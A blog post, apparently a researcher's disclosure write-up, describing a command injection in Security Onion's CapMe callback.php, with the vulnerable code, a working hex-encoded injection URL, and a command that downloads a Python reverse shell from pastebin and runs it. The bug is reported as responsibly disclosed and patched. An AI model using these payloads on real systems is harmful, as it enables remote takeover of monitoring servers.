BGINFO - A Posh Recreation
Recently I have been building a lot of Windows Servers in different environments - one
Disclosing a command injection in CapMe / Security Onion
I recently needed to deploy an IDS and full packet capture on a small network. Fortunately the open source community has had such a thing for a while. Security Onion.
A Linux distro for intrusion detection, network security monitoring, and log management. It's based on Ubuntu and contains Snort, Suricata, Bro, OSSEC, Sguil, Squert, ELSA, Xplico, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes!
https://security-onion-solutions.github.io/security-onion/
Setup is as easy as they say. Install from live CD, run the setup remembering to make sure Full Packet Capture is turned on and a couple of reboots later I am up and running.
To access packets that have been stored by the FPC, there is a package called capME that works standalone but also integrates with Snorby.
Giving it a full set of details and capME happily returns the requested pcap. But when I asked it to give me all traffic for an IP without including port numbers it told me I wasn't able to do such a thing, I had to fill in all the fields.
I wanted to see if I could figure out a way to get it to return a pcap without having all the fields completed so I start diving in to the source of the capME web forms and see what's happening.
The actual form submission is handled by JavaScript so I load capme.js and look for the post handler
Some of the form fields are checked to make sure they contain valid data
// IPs and ports
var sip = s2h(chkIP($("#sip").val()));
var spt = s2h(chkPort($("#spt").val()));
var dip = s2h(chkIP($("#dip").val()));
var dpt = s2h(chkPort($("#dpt").val()));
. . .
// IP validation
function chkIP(ip) {
var valid = /^\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b/;
if (!valid.test(ip)) {
theMsg("Error: Bad IP");
bON('.capme_submit');
err = 1;
} else {
return ip;
}
}
// port validation
function chkPort(port) {
var valid = /^[0-9]+$\b/;
if (!valid.test(port) || port > 65535 || port.charAt(0) == 0) {
theMsg("Error: Bad Port");
bON('.capme_submit');
err = 1;
} else {
return port;
}
}
At the same time the values from the input fields are converted to hex strings.
Once the strings are validated and converted client side they are concatenated in to a string and passed in a GET request to .inc/callback.php
var urArgs = "d=" + sip + "-" + spt + "-" + dip + "-" + dpt + "-" + st + "-" + et + "-" + usr + "-" + pwd + "-" + sidsrc + "-" + xscript;
$(function(){
$.get(".inc/callback.php?" + urArgs, function(data){cbtx(data)});
});
OK lets take a look at callback.php and see what's happening there.
The uri string is split on '-' and converted from hex back to strings.
$d = explode("-", $d);
$sip = h2s($d[0]);
$spt = h2s($d[1]);
$dip = h2s($d[2]);
$dpt = h2s($d[3]);
$st_unix= $d[4];
$et_unix= $d[5];
$usr = h2s($d[6]);
$pwd = h2s($d[7]);
$sidsrc = h2s($d[8]);
$xscript = h2s($d[9]);
Then depending on what kind of data source I selected sancp, event or elsa it would go in to one of several functions.
if ($sidsrc == "elsa") {
// Construct the ELSA query
$elsa_query = "class=bro_conn start:'$st_unix' end:'$et_unix' +$sip +$spt +$dip +$dpt limit:1 timeout:0";
// Submit the ELSA query via cli.sh
$elsa_command = "sh /opt/elsa/contrib/securityonion/contrib/cli.sh '$elsa_query' ";
$elsa_response = shell_exec($elsa_command);
. . .
$queries = array(
"elsa" => "SELECT sid FROM sensor WHERE hostname='$sensor' AND agent_type='pcap' LIMIT 1",
"sancp" => "SELECT sancp.start_time, s2.sid, s2.hostname
FROM sancp
LEFT JOIN sensor ON sancp.sid = sensor.sid
LEFT JOIN sensor AS s2 ON sensor.net_name = s2.net_name
WHERE sancp.start_time >= '$st' AND sancp.end_time <= '$et'
AND ((src_ip = INET_ATON('$sip') AND src_port = $spt AND dst_ip = INET_ATON('$dip') AND dst_port = $dpt) OR (src_ip = INET_ATON('$dip') AND src_port = $dpt AND dst_ip = INET_ATON('$sip') AND dst_port = $spt))
AND s2.agent_type = 'pcap' LIMIT 1",
"event" => "SELECT event.timestamp AS start_time, s2.sid, s2.hostname
FROM event
LEFT JOIN sensor ON event.sid = sensor.sid
LEFT JOIN sensor AS s2 ON sensor.net_name = s2.net_name
WHERE timestamp BETWEEN '$st' AND '$et'
AND ((src_ip = INET_ATON('$sip') AND src_port = $spt AND dst_ip = INET_ATON('$dip') AND dst_port = $dpt) OR (src_ip = INET_ATON('$dip') AND src_port = $dpt AND dst_ip = INET_ATON('$sip') AND dst_port = $spt))
AND s2.agent_type = 'pcap' LIMIT 1");
$response = mysql_query($queries[$sidsrc]);
. . .
$script = "cliscriptbro.tcl";
}
$cmd = "$script -sid $sid -sensor '$sensor' -timestamp '$st' -u '$usr' -pw '$pwd' -sip $sip -spt $spt -dip $dip -dpt $dpt";
exec("../.scripts/$cmd",$raw);
I was reading through this and I suddenly thought. Hang on shell_execute, exec and no calls to PHP's mysqli_real_escape_string in sight. At this point I stopped trying to get the packets I was looking for and instead took a longer look at the code. There was no server side validation of the user inputs that were being passed around they were just dropped in as variables.
I poked James Hall who was sat beside me and pointed him at the code I had just found. We decided it was worth having a closer look and seeing if we could get anything from it. Neither of us had much in the way of exploit development, but we had enough coding knowledge to have a play.
First things first fire up tamper data and confirm the data is actually being passed the way I think it is.
Looks right, the form fields are simply hex encoded and passed in the URL. First thing we try is to get a simple command injection on the shell_execute command.
In order to get to the shell_execute function we need to set the Sid Source to elsa and then replace the value in one of the variables, in our test cases we used the Source Port, but the results would have been the same for any of the other variables that are used.
The standard request looks a bit like this.
https://192.168.1.106/capme/.inc/callback.php?d=3139322e3136382e312e31-3830-3139322e3136382e312e31-3830-1452631144-1452631144-757365726e616d65-70617373776f7264-656c7361-746370666c6f77
Which decodes as
https://192.168.1.106/capme/.inc/callback.php?d=192.168.1.1-80-192.168.1.1-80-1452631144-1452631144-username-password-elsa-tcpflow
the simplest method to command inject is to add a ;
then whatever command you want to execute.
we start simple. As we have full access to the box anyway we just run ls and pipe the output to a txt file in /tmp/. This way we don't have to worry about getting valid data back in to the http response.
; ls > /tmp/test.txt
We can bypass the HTTP form as its just a GET request.
Encode as hex,
3b206c73203e202f746d702f746573742e747874
and replace the port number. This should get passed in to the shell_execute function and 'just work'. We had already tested it on the command line to make sure it was valid.
https://192.168.1.106/capme/.inc/callback.php?d=3139322e3136382e312e31-3830-3139322e3136382e312e31-3b206c73203e202f746d702f746573742e747874-1452631144-1452631144-757365726e616d65-70617373776f7264-656c7361-746370666c6f77
And Nothing! No output written to a temp file. We double check the encoding to make sure its the right command, it should have worked. We tested on the command line in exactly the same way as the script puts the file together but still working as we expect it to.
We try playing with different commands in different variables, read the code over several times looking for something that might be preventing us from executing the commands.
Just as frustration is about to set in I edit the callback.php page and tell it to print the $elsa_command see if we can figure out whats going on.
sh /opt/elsa/contrib/securityonion/contrib/cli.sh 'class=bro_conn start:'1452631144' end:'1452631144' +192.168.1.1 +80 +192.168.1.1 +; ls > /tmp/test.txt limit:1 timeout:0' {"tx":"0","dbg":"SELECT sid FROM sensor WHERE hostname='' AND agent_type='pcap' LIMIT 1","err":"Failed to find a matching sid. Invalid results from ELSA API."}
Once you see the full command printed out its a little easier to see what's gone wrong. Should have done this earlier.
The command is properly injected but is enclosed within single quotes which explains why the commands are not working. Changing the command to close the single quotes before we add our ;
should let this work.
'; ls > /tmp/test.txt'
Try again, encode and replace in our URL.
This time checking on the host and it works. We successfully wrote the output of ls to a file on the box. As far as exploits go writing the contents of ls in to the tmp dir are not what you would call impressive.
Fortunately we have full command injection so can do almost anything we like. For example upload and execute a python reverse shell
'; wget <a href="http://pastebin.com/raw/qFH3kHDV" target="_blank">http://pastebin.com/raw/<wbr />qFH3kHDV</a> -O /tmp/shell.py && python /tmp/shell.py;'
Security Onion is open source and all the code is up on github so I could have just raised an issue on there and left it at that. But this exploit had the potential to be quiet damaging. James did a quick search to see if there were any public facing security onion installs that could be vulnerable. Turns out there are.
Because of this I decided to reach out to security onion directly. A quick tweet and I had the email address I needed.
As I am publishing this, the vulnerability was reported several weeks ago, has been patched and updates are available.
As a thanks for the responsible disclosure Doug was kind enough to send over a Security Onion Challenge Coin :)